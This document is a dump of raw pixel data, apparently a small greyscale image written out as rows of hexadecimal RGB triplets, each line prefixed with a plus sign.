+D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D65454542C2C2C2C2C2C2C2C2C2C2C2C2C2C2CC1C1C1D4D4D4 +878787C4C4C4D6D6D6333333A9A9A9D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D65454542C2C2C2C2C2C2C2C2C2C2C2C2C2C2CB3B3B3D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6C1C1C12C2C2CC6C6C6D4D4D4878787C4C4C4D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D65E5E5E696969D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6565656 +727272D4D4D4878787C4C4C4D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6CECECE7878783F3F3F303030404040676767BEBEBED6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6333333A9A9A9 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D64343432C2C2C2C2C2C2C2C2C2C2C2C +2C2C2C2C2C2C2C2C2CBBBBBBD6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D4D4D4878787C4C4C4D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6333333A9A9A9D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6545454898989D6D6D6D6D6D6D6D6D6D6D6D6D6D6D63E3E3E9E9E9ED6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6333333A9A9A9D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +545454818181C8C8C8C8C8C8C8C8C8C8C8C8D4D4D4CCCCCC3E3E3EAAAAAAD6D6D6333333A9A9A9 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +545454818181C8C8C8C8C8C8C8C8C8C8C8C8D3D3D3D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6C1C1C1 +2C2C2CC6C6C6CCCCCC3E3E3EAAAAAAD6D6D67E7E7E646464D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +969696363636D3D3D3D6D6D6D6D6D6D6D6D6C9C9C92E2E2EA9A9A9CCCCCC3E3E3EAAAAAAD6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6686868494949AAAAAAC3C3C3 +AEAEAE747474C3C3C3D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6333333A9A9A9D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6CACACAC8C8C8C8C8C87F7F7F535353C8C8C8C8C8C8C8C8C8D4D4D4D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6CCCCCC3E3E3EAAAAAA +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6333333A9A9A9D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6545454898989D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D63E3E3E9E9E9ED6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6333333A9A9A9D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6545454898989D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6333333A9A9A9D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6545454898989D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6C1C1C12C2C2CC6C6C6D6D6D6D6D6D6D6D6D6 +D6D6D67B7B7B606060D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6C9C9C92E2E2EAAAAAAD6D6D6D6D6D6 +D6D6D6979797373737D3D3D3D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D4D4D4353535AAAAAAD6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6333333A9A9A9D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6868686565656D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6333333A9A9A9 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6545454898989D6D6D6D6D6D6D6D6D6D6D6D6D6D6D63E3E3E +9E9E9ED6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6333333A9A9A9 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 